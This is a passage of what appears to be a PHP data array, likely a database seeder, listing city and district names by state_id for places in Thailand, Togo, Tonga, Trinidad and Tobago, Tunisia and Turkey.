['state_id' => '3595', 'name' => 'mae sot'],\n ['state_id' => '3595', 'name' => 'tak'],\n ['state_id' => '3596', 'name' => 'huai yot'],\n ['state_id' => '3596', 'name' => 'kantang'],\n ['state_id' => '3596', 'name' => 'trang'],\n ['state_id' => '3597', 'name' => 'bo rai'],\n ['state_id' => '3597', 'name' => 'trat'],\n ['state_id' => '3601', 'name' => 'laplae'],\n ['state_id' => '3601', 'name' => 'uttaradit'],\n ['state_id' => '3602', 'name' => 'betong'],\n ['state_id' => '3602', 'name' => 'yala'],\n ['state_id' => '3603', 'name' => 'yasothon'],\n ['state_id' => '3604', 'name' => 'guerin kouka'],\n ['state_id' => '3604', 'name' => 'sokode'],\n ['state_id' => '3604', 'name' => 'sotouboua'],\n ['state_id' => '3604', 'name' => 'tchamba'],\n ['state_id' => '3605', 'name' => 'bafilo'],\n ['state_id' => '3605', 'name' => 'bassar'],\n ['state_id' => '3605', 'name' => 'kande'],\n ['state_id' => '3605', 'name' => 'kara'],\n ['state_id' => '3605', 'name' => 'kpagouda'],\n ['state_id' => '3605', 'name' => 'niamtougou'],\n ['state_id' => '3606', 'name' => 'agbelouve'],\n ['state_id' => '3606', 'name' => 'aneho'],\n ['state_id' => '3606', 'name' => 'lome'],\n ['state_id' => '3606', 'name' => 'tabligbo'],\n ['state_id' => '3606', 'name' => 'tsevie'],\n ['state_id' => '3606', 'name' => 'vogan'],\n ['state_id' => '3607', 'name' => 'amlame'],\n ['state_id' => '3607', 'name' => 'anie'],\n ['state_id' => '3607', 'name' => 'atakpame'],\n ['state_id' => '3607', 'name' => 'badou'],\n ['state_id' => '3607', 'name' => 'blitta'],\n ['state_id' => '3607', 'name' => 'kouve'],\n ['state_id' => '3607', 'name' => 'kpalime'],\n ['state_id' => '3607', 'name' => 'kpessi'],\n ['state_id' => '3607', 'name' => 'notse'],\n ['state_id' => '3608', 'name' => 'dapaong'],\n ['state_id' => '3608', 'name' => 'mango'],\n ['state_id' => '3608', 'name' => 'tandjouare'],\n ['state_id' => '3609', 'name' => 'atafu'],\n ['state_id' => '3610', 'name' => 'fakaofo'],\n ['state_id' => '3611', 'name' => 'nukunonu'],\n ['state_id' => '3612', 'name' => 'ohonua'],\n ['state_id' => '3613', 'name' => 'pangai'],\n ['state_id' => '3614', 'name' => 'hihifo'],\n ['state_id' => '3615', 'name' => 'haveloloto'],\n ['state_id' => '3615', 'name' => 'mu\\'a'],\n ['state_id' => '3615', 'name' => 'nuku\\'alofa'],\n ['state_id' => '3615', 'name' => 'tofoa-koloua'],\n ['state_id' => '3615', 'name' => 'vaini'],\n ['state_id' => '3616', 'name' => 'neiafu'],\n ['state_id' => '3617', 'name' => 'arima'],\n ['state_id' => '3617', 'name' => 'arouca'],\n ['state_id' => '3617', 'name' => 'tacarigua'],\n ['state_id' => '3617', 'name' => 'tunapuna'],\n ['state_id' => '3618', 'name' => 'carapichaima'],\n ['state_id' => '3618', 'name' => 'claxton bay'],\n ['state_id' => '3619', 'name' => 'chaguanas'],\n ['state_id' => '3620', 'name' => 'couva'],\n ['state_id' => '3620', 'name' => 'tabaquite'],\n ['state_id' => '3622', 'name' => 'glencoe'],\n ['state_id' => '3631', 'name' => 'siparia'],\n ['state_id' => '3632', 'name' => 'scarborough'],\n ['state_id' => '3633', 'name' => 'aryanah'],\n ['state_id' => '3633', 'name' => 'bordj aalouine'],\n ['state_id' => '3633', 'name' => 'burj-al-\\'amri'],\n ['state_id' => '3633', 'name' => 'la soukra'],\n ['state_id' => '3633', 'name' => 'qal\\'at-al-andalus'],\n ['state_id' => '3633', 'name' => 'sidi thabit'],\n ['state_id' => '3633', 'name' => 'taburbah'],\n ['state_id' => '3633', 'name' => 'wadi al-layl'],\n ['state_id' => '3633', 'name' => 'ad-dandan'],\n ['state_id' => '3633', 'name' => 'al-battan'],\n ['state_id' => '3633', 'name' => 'al-jadidah'],\n ['state_id' => '3633', 'name' => 'al-murnaqiyah'],\n ['state_id' => '3633', 'name' => 'at-tadaman dawwar hishar'],\n ['state_id' => '3634', 'name' => 'bajah'],\n ['state_id' => '3634', 'name' => 'majaz-al-bab'],\n ['state_id' => '3634', 'name' => 'nafzah'],\n ['state_id' => '3634', 'name' => 'quballat'],\n ['state_id' => '3634', 'name' => 'tabursuq'],\n ['state_id' => '3634', 'name' => 'tastur'],\n ['state_id' => '3634', 'name' => 'zahrat madina'],\n ['state_id' => '3634', 'name' => 'al-ma\\'qulah'],\n ['state_id' => '3636', 'name' => '\\'awsajah'],\n ['state_id' => '3636', 'name' => 'binzart'],\n ['state_id' => '3636', 'name' => 'ghar-al-milh'],\n ['state_id' => '3636', 'name' => 'manzil \\'abd-ar-rahman'],\n ['state_id' => '3636', 'name' => 'manzil bu ruqaybah'],\n ['state_id' => '3636', 'name' => 'manzil jamil'],\n ['state_id' => '3636', 'name' => 'matir'],\n ['state_id' => '3636', 'name' => 'rafraf'],\n ['state_id' => '3636', 'name' => 'ras-al-jabal'],\n ['state_id' => '3636', 'name' => 'sajanan'],\n ['state_id' => '3636', 'name' => 'tinjah'],\n ['state_id' => '3636', 'name' => 'al-\\'aliyah'],\n ['state_id' => '3636', 'name' => 'al-matlin'],\n ['state_id' => '3641', 'name' => '\\'ayn darahim'],\n ['state_id' => '3641', 'name' => 'bani matir'],\n ['state_id' => '3641', 'name' => 'bu salim'],\n ['state_id' => '3641', 'name' => 'firnanah'],\n ['state_id' => '3641', 'name' => 'ghar-ad-dima\\''],\n ['state_id' => '3641', 'name' => 'jundubah'],\n ['state_id' => '3641', 'name' => 'tabarqah'],\n ['state_id' => '3641', 'name' => 'wadi maliz'],\n ['state_id' => '3642', 'name' => 'bani khaddash'],\n ['state_id' => '3642', 'name' => 'bin qirdan'],\n ['state_id' => '3642', 'name' => 'jarbah ajim'],\n ['state_id' => '3642', 'name' => 'jarbah hawmat-as-suq'],\n ['state_id' => '3642', 'name' => 'jarbah midun'],\n ['state_id' => '3642', 'name' => 'jarjis'],\n ['state_id' => '3642', 'name' => 'madaniyin'],\n ['state_id' => '3643', 'name' => 'manubah'],\n ['state_id' => '3644', 'name' => 'monastir'],\n ['state_id' => '3645', 'name' => 'azimur'],\n ['state_id' => '3645', 'name' => 'bani hiyar'],\n ['state_id' => '3645', 'name' => 'bani khallad'],\n ['state_id' => '3645', 'name' => 'bu \\'urqub'],\n ['state_id' => '3645', 'name' => 'dar \\'alush'],\n ['state_id' => '3645', 'name' => 'dar sha\\'ban'],\n ['state_id' => '3645', 'name' => 'hammam-al-aghzaz'],\n ['state_id' => '3645', 'name' => 'manzil bu zalafah'],\n ['state_id' => '3645', 'name' => 'manzil hurr'],\n ['state_id' => '3645', 'name' => 'manzil tamim'],\n ['state_id' => '3645', 'name' => 'nabul'],\n ['state_id' => '3645', 'name' => 'qalibiyah'],\n ['state_id' => '3645', 'name' => 'qurbah'],\n ['state_id' => '3645', 'name' => 'qurbus'],\n ['state_id' => '3645', 'name' => 'qurunbaliyah'],\n ['state_id' => '3645', 'name' => 'sulayman'],\n ['state_id' => '3645', 'name' => 'taklisah'],\n ['state_id' => '3645', 'name' => 'tazirkah'],\n ['state_id' => '3645', 'name' => 'zawiyat-al-jadidi'],\n ['state_id' => '3645', 'name' => 'al-hammamat'],\n ['state_id' => '3645', 'name' => 'al-huwariyah'],\n ['state_id' => '3645', 'name' => 'al-ma\\'murah'],\n ['state_id' => '3645', 'name' => 'al-middah'],\n ['state_id' => '3645', 'name' => 'as-sama\\'ah'],\n ['state_id' => '3646', 'name' => 'ghannush'],\n ['state_id' => '3646', 'name' => 'marath'],\n ['state_id' => '3646', 'name' => 'matmatat-al-jadidah'],\n ['state_id' => '3646', 'name' => 'matmatat-al-qadimah'],\n ['state_id' => '3646', 'name' => 'qabis'],\n ['state_id' => '3646', 'name' => 'sanini an-nahal'],\n ['state_id' => '3646', 'name' => 'wadhraf'],\n ['state_id' => '3646', 'name' => 'al-hammah'],\n ['state_id' => '3646', 'name' => 'al-matwiyah'],\n ['state_id' => '3646', 'name' => 'az-zarat'],\n ['state_id' => '3647', 'name' => 'qafsah'],\n ['state_id' => '3647', 'name' => 'umm-al-\\'arais'],\n ['state_id' => '3647', 'name' => 'al-madilah'],\n ['state_id' => '3647', 'name' => 'al-mitlawi'],\n ['state_id' => '3647', 'name' => 'al-qasr'],\n ['state_id' => '3647', 'name' => 'al-qatar'],\n ['state_id' => '3647', 'name' => 'ar-rudayyif'],\n ['state_id' => '3647', 'name' => 'as-sanad'],\n ['state_id' => '3648', 'name' => 'duz'],\n ['state_id' => '3648', 'name' => 'jamnah'],\n ['state_id' => '3648', 'name' => 'qibili'],\n ['state_id' => '3648', 'name' => 'suq-al-ahad'],\n ['state_id' => '3648', 'name' => 'al-qal\\'ah'],\n ['state_id' => '3649', 'name' => '\\'aqarib'],\n ['state_id' => '3649', 'name' => 'bi\\'r ali bin khalifah'],\n ['state_id' => '3649', 'name' => 'jabinyanah'],\n ['state_id' => '3649', 'name' => 'manzil shakir'],\n ['state_id' => '3649', 'name' => 'qarmadah'],\n ['state_id' => '3649', 'name' => 'qarqannah'],\n ['state_id' => '3649', 'name' => 'safaqis'],\n ['state_id' => '3649', 'name' => 'saqiyat-ad-dair'],\n ['state_id' => '3649', 'name' => 'saqiyat-az-zayt'],\n ['state_id' => '3649', 'name' => 'sfax'],\n ['state_id' => '3649', 'name' => 'tinah'],\n ['state_id' => '3649', 'name' => 'al-\\'ayn'],\n ['state_id' => '3649', 'name' => 'al-hanashah'],\n ['state_id' => '3649', 'name' => 'al-mahras'],\n ['state_id' => '3649', 'name' => 'as-sukhayrah'],\n ['state_id' => '3649', 'name' => 'ash-shayhiyah'],\n ['state_id' => '3650', 'name' => 'sfax'],\n ['state_id' => '3652', 'name' => 'barqu'],\n ['state_id' => '3652', 'name' => 'bu \\'aradah'],\n ['state_id' => '3652', 'name' => 'bu ruwis'],\n ['state_id' => '3652', 'name' => 'kasra'],\n ['state_id' => '3652', 'name' => 'makthar'],\n ['state_id' => '3652', 'name' => 'qa\\'afur'],\n ['state_id' => '3652', 'name' => 'silyanah'],\n ['state_id' => '3652', 'name' => 'al-\\'arusah'],\n ['state_id' => '3652', 'name' => 'al-karib'],\n ['state_id' => '3652', 'name' => 'ar-rawhiyah'],\n ['state_id' => '3653', 'name' => 'akkudah'],\n ['state_id' => '3653', 'name' => 'bu fishah'],\n ['state_id' => '3653', 'name' => 'hammam susah'],\n ['state_id' => '3653', 'name' => 'harqalah'],\n ['state_id' => '3653', 'name' => 'masakin'],\n ['state_id' => '3653', 'name' => 'qusaybat-ath-thurayat'],\n ['state_id' => '3653', 'name' => 'sidi bu \\'ali'],\n ['state_id' => '3653', 'name' => 'sidi al-hani'],\n ['state_id' => '3653', 'name' => 'susah'],\n ['state_id' => '3653', 'name' => 'zawiyat susah'],\n ['state_id' => '3653', 'name' => 'al-masa\\'din'],\n ['state_id' => '3653', 'name' => 'al-qal\\'at-al-kabirah'],\n ['state_id' => '3653', 'name' => 'al-qal\\'at-as-saghirah'],\n ['state_id' => '3653', 'name' => 'an-nafidah'],\n ['state_id' => '3653', 'name' => 'az-zuhur'],\n ['state_id' => '3654', 'name' => 'bi\\'r-al-ahmar'],\n ['state_id' => '3654', 'name' => 'dhahibah'],\n ['state_id' => '3654', 'name' => 'ghumrassin'],\n ['state_id' => '3654', 'name' => 'rimadah'],\n ['state_id' => '3654', 'name' => 'tatawin'],\n ['state_id' => '3655', 'name' => 'daqash'],\n ['state_id' => '3655', 'name' => 'hammat-al-jarid'],\n ['state_id' => '3655', 'name' => 'naftah'],\n ['state_id' => '3655', 'name' => 'tamaghzah'],\n ['state_id' => '3655', 'name' => 'tawzar'],\n ['state_id' => '3656', 'name' => 'bardaw'],\n ['state_id' => '3656', 'name' => 'ben arous'],\n ['state_id' => '3656', 'name' => 'carthage'],\n ['state_id' => '3656', 'name' => 'halq-al-wadi'],\n ['state_id' => '3656', 'name' => 'megrine'],\n ['state_id' => '3656', 'name' => 'qartaj'],\n ['state_id' => '3656', 'name' => 'sidi bu sa\\'id'],\n ['state_id' => '3656', 'name' => 'tunis'],\n ['state_id' => '3656', 'name' => 'al-marsa'],\n ['state_id' => '3657', 'name' => 'bi\\'r mashariqah'],\n ['state_id' => '3657', 'name' => 'jabal-al-wust'],\n ['state_id' => '3657', 'name' => 'zaghwan'],\n ['state_id' => '3657', 'name' => 'al-fahs'],\n ['state_id' => '3657', 'name' => 'an-nazur'],\n ['state_id' => '3657', 'name' => 'az-zaribah'],\n ['state_id' => '3658', 'name' => 'manzil salim'],\n ['state_id' => '3658', 'name' => 'nibbar'],\n ['state_id' => '3658', 'name' => 'qal\\'at-as-sanan'],\n ['state_id' => '3658', 'name' => 'saqiyat sidi yussuf'],\n ['state_id' => '3658', 'name' => 'tajarwin'],\n ['state_id' => '3658', 'name' => 'ad-dahmani'],\n ['state_id' => '3658', 'name' => 'al-jarissah'],\n ['state_id' => '3658', 'name' => 'al-kaf'],\n ['state_id' => '3658', 'name' => 'al-qal\\'at-al-khasba\\''],\n ['state_id' => '3658', 'name' => 'al-qusur'],\n ['state_id' => '3658', 'name' => 'as-sars'],\n ['state_id' => '3658', 'name' => 'at-tawiraf'],\n ['state_id' => '3659', 'name' => 'awlad ash-shamakh'],\n ['state_id' => '3659', 'name' => 'bumirdas'],\n ['state_id' => '3659', 'name' => 'habirah'],\n ['state_id' => '3659', 'name' => 'karkar'],\n ['state_id' => '3659', 'name' => 'mallulash'],\n ['state_id' => '3659', 'name' => 'qusur-as-saf'],\n ['state_id' => '3659', 'name' => 'rajish'],\n ['state_id' => '3659', 'name' => 'shurban'],\n ['state_id' => '3659', 'name' => 'sidi \\'ulwan'],\n ['state_id' => '3659', 'name' => 'al-baradi\\'ah'],\n ['state_id' => '3659', 'name' => 'al-jamm'],\n ['state_id' => '3659', 'name' => 'al-mahdiyah'],\n ['state_id' => '3659', 'name' => 'as-sawasi'],\n ['state_id' => '3659', 'name' => 'ash-shabbah'],\n ['state_id' => '3660', 'name' => '\\'amirat-al-fahul'],\n ['state_id' => '3660', 'name' => '\\'amirat-al-hajjaj'],\n ['state_id' => '3660', 'name' => '\\'amirat-at-tawazarah'],\n ['state_id' => '3660', 'name' => 'banan budar'],\n ['state_id' => '3660', 'name' => 'banblat wal-manarah'],\n ['state_id' => '3660', 'name' => 'bani hassan'],\n ['state_id' => '3660', 'name' => 'bu hajjar'],\n ['state_id' => '3660', 'name' => 'ghanadah'],\n ['state_id' => '3660', 'name' => 'jammal'],\n ['state_id' => '3660', 'name' => 'khunays'],\n ['state_id' => '3660', 'name' => 'lamtah'],\n ['state_id' => '3660', 'name' => 'manzil farsi'],\n ['state_id' => '3660', 'name' => 'manzil hayah'],\n ['state_id' => '3660', 'name' => 'manzil kamil'],\n ['state_id' => '3660', 'name' => 'manzil nur'],\n ['state_id' => '3660', 'name' => 'qasr hallal'],\n ['state_id' => '3660', 'name' => 'qusaybat-al-madyuni'],\n ['state_id' => '3660', 'name' => 'sahilin ma\\'atmar'],\n ['state_id' => '3660', 'name' => 'sayyadah'],\n ['state_id' => '3660', 'name' => 'sidi \\'amara'],\n ['state_id' => '3660', 'name' => 'sidi bin nur'],\n ['state_id' => '3660', 'name' => 'tabulbah'],\n ['state_id' => '3660', 'name' => 'tuzah'],\n ['state_id' => '3660', 'name' => 'zaramidin'],\n ['state_id' => '3660', 'name' => 'zawiyat quntash'],\n ['state_id' => '3660', 'name' => 'al-baqalitah'],\n ['state_id' => '3660', 'name' => 'al-masdur'],\n ['state_id' => '3660', 'name' => 'al-muknin'],\n ['state_id' => '3660', 'name' => 'al-munastir'],\n ['state_id' => '3660', 'name' => 'al-wardanin'],\n ['state_id' => '3660', 'name' => 'ash-sharahil'],\n ['state_id' => '3661', 'name' => 'firyanah'],\n ['state_id' => '3661', 'name' => 'fussanah'],\n ['state_id' => '3661', 'name' => 'haydrah'],\n ['state_id' => '3661', 'name' => 'jadliyan'],\n ['state_id' => '3661', 'name' => 'majal bal \\'abbas'],\n ['state_id' => '3661', 'name' => 'sabibah'],\n ['state_id' => '3661', 'name' => 'subaytilah'],\n ['state_id' => '3661', 'name' => 'talabat'],\n ['state_id' => '3661', 'name' => 'talah'],\n ['state_id' => '3661', 'name' => 'al-qasrayn'],\n ['state_id' => '3662', 'name' => '\\'ayn jalulah'],\n ['state_id' => '3662', 'name' => 'buhajlah'],\n ['state_id' => '3662', 'name' => 'haffuz'],\n ['state_id' => '3662', 'name' => 'hajib-al-\\'ayun'],\n ['state_id' => '3662', 'name' => 'manzil mahidi'],\n ['state_id' => '3662', 'name' => 'nasr allah'],\n ['state_id' => '3662', 'name' => 'al-\\'ala'],\n ['state_id' => '3662', 'name' => 'al-qayrawan'],\n ['state_id' => '3662', 'name' => 'al-waslatiyah'],\n ['state_id' => '3662', 'name' => 'as-subaykhah'],\n ['state_id' => '3662', 'name' => 'ash-shabikah'],\n ['state_id' => '3662', 'name' => 'ash-sharardah'],\n ['state_id' => '3663', 'name' => 'adana'],\n ['state_id' => '3663', 'name' => 'aladag'],\n ['state_id' => '3663', 'name' => 'ceyhan'],\n ['state_id' => '3663', 'name' => 'feke'],\n ['state_id' => '3663', 'name' => 'imamoglu'],\n ['state_id' => '3663', 'name' => 'karaisali'],\n ['state_id' => '3663', 'name' => 'karatas'],\n ['state_id' => '3663', 'name' => 'kozan'],\n ['state_id' => '3663', 'name' => 'pozanti'],\n ['state_id' => '3663', 'name' => 'saimbeyli'],\n ['state_id' => '3663', 'name' => 'tufanbeyli'],\n ['state_id' => '3663', 'name' => 'yumurtalik'],\n ['state_id' => '3664', 'name' => 'adiyaman'],\n ['state_id' => '3664', 'name' => 'besni'],\n ['state_id' => '3664', 'name' => 'celikhan'],\n ['state_id' => '3664', 'name' => 'gerger'],\n ['state_id' => '3664', 'name' => 'golbasi'],\n ['state_id' => '3664', 'name' => 'kahta'],\n ['state_id' => '3664', 'name' => 'samsat'],\n ['state_id' => '3664', 'name' => 'sincik'],\n ['state_id' => '3664', 'name' => 'tut'],\n ['state_id' => '3665', 'name' => 'afyonkarahisar'],\n ['state_id' => '3665', 'name' => 'basmakci'],\n ['state_id' => '3665', 'name' => 'bayat'],\n ['state_id' => '3665', 'name' => 'bolvadin'],\n ['state_id' => '3665', 'name' => 'cay'],\n ['state_id' => '3665', 'name' => 'dazkiri'],\n ['state_id' => '3665', 'name' => 'dinar'],\n ['state_id' => '3665', 'name' => 'emirdag'],\n ['state_id' => '3665', 'name' => 'evciler'],\n ['state_id' => '3665', 'name' => 'hocalar'],\n ['state_id' => '3665', 'name' => 'ihsaniye'],\n ['state_id' => '3665', 'name' => 'iscehisar'],\n ['state_id' => '3665', 'name' => 'kiziloren'],\n ['state_id' => '3665', 'name' => 'sandikli'],\n ['state_id' => '3665', 'name' => 'sincanli'],\n ['state_id' => '3665', 'name' => 'suhut'],\n ['state_id' => '3665', 'name' => 'sultandagi'],\n ['state_id' => '3666', 'name' => 'diyadin'],\n ['state_id' => '3666', 'name' => 'dogubeyazit'],\n ['state_id' => '3666', 'name' => 'eleskirt'],\n ['state_id' => '3666', 'name' => 'hamur'],\n ['state_id' => '3666', 'name' => 'karakose'],\n ['state_id' => '3666', 'name' => 'patnos'],\n ['state_id' => '3666', 'name' => 'taslicay'],\n ['state_id' => '3666', 'name' => 'tutak'],\n ['state_id' => '3667', 'name' => 'agacoren'],\n ['state_id' => '3667', 'name' => 'aksaray'],\n ['state_id' => '3667', 'name' => 'eskil'],\n ['state_id' => '3667', 'name' => 'gulagac'],\n ['state_id' => '3667', 'name' => 'guzelyurt'],\n ['state_id' => '3667', 'name' => 'ortakoy'],\n ['state_id' => '3667', 'name' => 'sariyahsi'],\n ['state_id' => '3668', 'name' => 'amasya'],\n ['state_id' => '3668', 'name' => 'goynucek'],\n ['state_id' => '3668', 'name' => 'gumushacikoy'],\n ['state_id' => '3668', 'name' => 'hamamozu'],\n ['state_id' => '3668', 'name' => 'merzifon'],\n ['state_id' => '3668', 'name' => 'suluova'],\n ['state_id' => '3668', 'name' => 'tasova'],\n ['state_id' => '3669', 'name' => 'akyurt'],\n ['state_id' => '3669', 'name' => 'ankara'],\n ['state_id' => '3669', 'name' => 'ayas'],\n ['state_id' => '3669', 'name' => 'beypazari'],\n ['state_id' => '3669', 'name' => 'camlidere'],\n ['state_id' => '3669', 'name' => 'cubuk'],\n ['state_id' => '3669', 'name' => 'elmadag'],\n ['state_id' => '3669', 'name' => 'evren'],\n ['state_id' => '3669', 'name' => 'gudul'],\n ['state_id' => '3669', 'name' => 'haymana'],\n ['state_id' => '3669', 'name' => 'kalecik'],\n ['state_id' => '3669', 'name' => 'kazan'],\n ['state_id' => '3669', 'name' => 'kizilcahamam'],\n ['state_id' => '3669', 'name' => 'nallihan'],\n ['state_id' => '3669', 'name' => 'polatli'],\n ['state_id' => '3669', 'name' => 'sereflikochisar'],\n ['state_id' => '3669', 'name' => 'yenisehir'],\n ['state_id' => '3670', 'name' => 'akseki'],\n ['state_id' => '3670', 'name' => 'alanya'],\n ['state_id' => '3670', 'name' => 'antalya'],\n ['state_id' => '3670', 'name' => 'elmali'],\n ['state_id' => '3670', 'name' => 'finike'],\n ['state_id' => '3670', 'name' => 'gazipasa'],\n ['state_id' => '3670', 'name' => 'gundogmus'],\n ['state_id' => '3670', 'name' => 'ibradi'],\n ['state_id' => '3670', 'name' => 'kale'],\n ['state_id' => '3670', 'name' => 'kas'],\n ['state_id' => '3670', 'name' => 'kemer'],\n ['state_id' => '3670', 'name' => 'konya'],\n ['state_id' => '3670', 'name' => 'korkuteli'],\n ['state_id' => '3670', 'name' => 'kumluca'],\n ['state_id' => '3670', 'name' => 'manavgat'],\n ['state_id' => '3670', 'name' => 'serik'],\n ['state_id' => '3671', 'name' => 'ardahan'],\n ['state_id' => '3671', 'name' => 'damal'],\n ['state_id' => '3671', 'name' => 'gole'],\n ['state_id' => '3671', 'name' => 'hanak'],\n ['state_id' => '3671', 'name' => 'posof'],\n ['state_id' => '3672', 'name' => 'ardanuc'],\n ['state_id' => '3672', 'name' => 'arhavi'],\n ['state_id' => '3672', 'name' => 'artvin'],\n ['state_id' => '3672', 'name' => 'borcka'],\n ['state_id' => '3672', 'name' => 'hopa'],\n ['state_id' => '3672', 'name' => 'murgul'],\n ['state_id' => '3672', 'name' => 'savsat'],\n ['state_id' => '3672', 'name' => 'yusufeli'],\n ['state_id' => '3673', 'name' => 'aydin'],\n ['state_id' => '3673', 'name' => 'bozdogan'],\n ['state_id' => '3673', 'name' => 'buharkent'],\n ['state_id' => '3673', 'name' => 'cine'],\n ['state_id' => '3673', 'name' => 'didim'],\n ['state_id' => '3673', 'name' => 'germencik'],\n ['state_id' => '3673', 'name' => 'incirliova'],\n ['state_id' => '3673', 'name' => 'karacasu'],\n ['state_id' => '3673', 'name' => 'karpuzlu'],\n ['state_id' => '3673', 'name' => 'kocarli'],\n ['state_id' => '3673', 'name' => 'kosk'],\n ['state_id' => '3673', 'name' => 'kusadasi'],\n ['state_id' => '3673', 'name' => 'kuyucak'],\n ['state_id' => '3673', 'name' => 'nazilli'],\n ['state_id' => '3673', 'name' => 'soke'],\n ['state_id' => '3673', 'name' => 'sultanhisar'],\n ['state_id' => '3673', 'name' => 'yenipazar'],\n ['state_id' => '3674', 'name' => 'ayvalik'],\n ['state_id' => '3674', 'name' => 'balikesir'],\n ['state_id' => '3674', 'name' => 'balya'],\n ['state_id' => '3674', 'name' => 'bandirma'],\n ['state_id' => '3674', 'name' => 'bigadic'],\n ['state_id' => '3674', 'name' => 'burhaniye'],\n ['state_id' => '3674', 'name' => 'dursunbey'],\n ['state_id' => '3674', 'name' => 'edremit'],\n ['state_id' => '3674', 'name' => 'erdek'],\n ['state_id' => '3674', 'name' => 'gomec'],\n ['state_id' => '3674', 'name' => 'gonen'],\n ['state_id' => '3674', 'name' => 'havran'],\n ['state_id' => '3674', 'name' => 'ivrindi'],\n ['state_id' => '3674', 'name' => 'kepsut'],\n ['state_id' => '3674', 'name' => 'manyas'],\n ['state_id' => '3674', 'name' => 'marmara'],\n ['state_id' => '3674', 'name' => 'sakarya'],\n ['state_id' => '3674', 'name' => 'savastepe'],\n ['state_id' => '3674', 'name' => 'sindirgi'],\n ['state_id' => '3674', 'name' => 'susurluk'],\n ['state_id' => '3675', 'name' => 'amasra'],\n ['state_id' => '3675', 'name' => 'bartin'],\n ['state_id' => '3675', 'name' => 'kurucasile'],\n ['state_id' => '3675', 'name' => 'ulus'],\n ['state_id' => '3676', 'name' => 'batman'],\n ['state_id' => '3676', 'name' => 'besiri'],\n ['state_id' => '3676', 'name' => 'gercus'],\n ['state_id' => '3676', 'name' => 'hasankeyf'],\n ['state_id' => '3676', 'name' => 'kozluk'],\n ['state_id' => '3676', 'name' => 'sason'],\n ['state_id' => '3677', 'name' => 'aydintepe'],\n ['state_id' => '3677', 'name' => 'bayburt'],\n ['state_id' => '3677', 'name' => 'demirozu'],\n ['state_id' => '3678', 'name' => 'bilecik'],\n ['state_id' => '3678', 'name' => 'bozuyuk'],\n ['state_id' => '3678', 'name' => 'golpazari'],\n ['state_id' => '3678', 'name' => 'inhisar'],\n ['state_id' => '3678', 'name' => 'osmaneli'],\n ['state_id' => '3678', 'name' => 'pazaryeri'],\n ['state_id' => '3678', 'name' => 'sogut'],\n ['state_id' => '3678', 'name' => 'yenipazar'],\n ['state_id' => '3679', 'name' => 'adakli'],\n ['state_id' => '3679', 'name' => 'bingol'],\n ['state_id' => '3679', 'name' => 'genc'],\n ['state_id' => '3679', 'name' => 'karliova'],\n ['state_id' => '3679', 'name' => 'kigi'],\n ['state_id' => '3679', 'name' => 'solhan'],\n ['state_id' => '3679', 'name' => 'yayladere'],\n ['state_id' => '3679', 'name' => 'yedisu'],\n ['state_id' => '3680', 'name' => 'adilcevaz'],\n ['state_id' => '3680', 'name' => 'ahlat'],\n ['state_id' => '3680', 'name' => 'bitlis'],\n ['state_id' => '3680', 'name' => 'guroymak'],\n ['state_id' => '3680', 'name' => 'hizan'],\n ['state_id' => '3680', 'name' => 'mutki'],\n ['state_id' => '3680', 'name' => 'tatvan'],\n ['state_id' => '3681', 'name' => 'akcakoca'],\n ['state_id' => '3681', 'name' => 'bolu'],\n ['state_id' => '3681', 'name' => 'dortdivan'],\n ['state_id' => '3681', 'name' => 'gerede'],\n ['state_id' => '3681', 'name' => 'goynuk'],\n ['state_id' => '3681', 'name' => 'kibriscik'],\n ['state_id' => '3681', 'name' => 'mengen'],\n ['state_id' => '3681', 'name' => 'mudurnu'],\n ['state_id' => '3681', 'name' => 'seben'],\n ['state_id' => '3681', 'name' => 'yenicaga'],\n ['state_id' => '3682', 'name' => 'aglasun'],\n ['state_id' => '3682', 'name' => 'altinyayla'],\n ['state_id' => '3682', 'name' => 'bucak'],\n ['state_id' => '3682', 'name' => 'burdur'],\n ['state_id' => '3682', 'name' => 'golhisar'],\n ['state_id' => '3682', 'name' => 'karamanli'],\n ['state_id' => '3682', 'name' => 'kemer'],\n ['state_id' => '3682', 'name' => 'tefenni'],\n ['state_id' => '3682', 'name' => 'yesilova'],\n ['state_id' => '3683', 'name' => 'bursa'],\n ['state_id' => '3683', 'name' => 'buyukorhan'],\n ['state_id' => '3683', 'name' => 'gemlik'],\n ['state_id' => '3683', 'name' => 'gursu'],\n ['state_id' => '3683', 'name' => 'harmancik'],\n ['state_id' => '3683', 'name' => 'inegol'],\n ['state_id' => '3683', 'name' => 'iznik'],\n ['state_id' => '3683', 'name' => 'karacabey'],\n ['state_id' => '3683', 'name' => 'keles'],\n ['state_id' => '3683', 'name' => 'kestel'],\n ['state_id' => '3683', 'name' => 'mudanya'],\n ['state_id' => '3683', 'name' => 'mustafakemalpasa'],\n ['state_id' => '3683', 'name' => 'orhaneli'],\n ['state_id' => '3683', 'name' => 'orhangazi'],\n ['state_id' => '3683', 'name' => 'yenisehir'],\n ['state_id' => '3684', 'name' => 'ayvacik'],\n ['state_id' => '3684', 'name' => 'bayramic'],\n ['state_id' => '3684', 'name' => 'biga'],\n ['state_id' => '3684', 'name' => 'bozcaada'],\n ['state_id' => '3684', 'name' => 'can'],\n ['state_id' => '3684', 'name' => 'canakkale'],\n ['state_id' => '3684', 'name' => 'eceabat'],\n ['state_id' => '3684', 'name' => 'ezine'],\n ['state_id' => '3684', 'name' => 'gelibolu'],\n ['state_id' => '3684', 'name' => 'gokceada'],\n ['state_id' => '3684', 'name' => 'lapseki'],\n ['state_id' => '3684', 'name' => 'yenice'],\n ['state_id' => '3685', 'name' => 'atkaracalar'],\n ['state_id' => '3685', 'name' => 'bayramoren'],\n ['state_id' => '3685', 'name' => 'cankiri'],\n ['state_id' => '3685', 'name' => 'cerkes'],\n ['state_id' => '3685', 'name' => 'eldivan'],\n ['state_id' => '3685', 'name' => 'ilgaz'],\n ['state_id' => '3685', 'name' => 'kizilirmak'],\n ['state_id' => '3685', 'name' => 'korgun'],\n ['state_id' => '3685', 'name' => 'kursunlu'],\n ['state_id' => '3685', 'name' => 'orta'],\n ['state_id' => '3685', 'name' => 'sabanozu'],\n ['state_id' => '3685', 'name' => 'yaprakli'],\n ['state_id' => '3686', 'name' => 'alaca'],\n ['state_id' => '3686', 'name' => 'bayat'],\n ['state_id' => '3686', 'name' => 'corum'],\n ['state_id' => '3686', 'name' => 'dodurga'],\n ['state_id' => '3686', 'name' => 'iskilip'],\n ['state_id' => '3686', 'name' => 'kargi'],\n ['state_id' => '3686', 'name' => 'lacin'],\n ['state_id' => '3686', 'name' => 'mecitozu'],\n ['state_id' => '3686', 'name' => 'oguzlar'],\n ['state_id' => '3686', 'name' => 'ortakoy'],\n ['state_id' => '3686', 'name' => 'osmancik'],\n ['state_id' => '3686', 'name' => 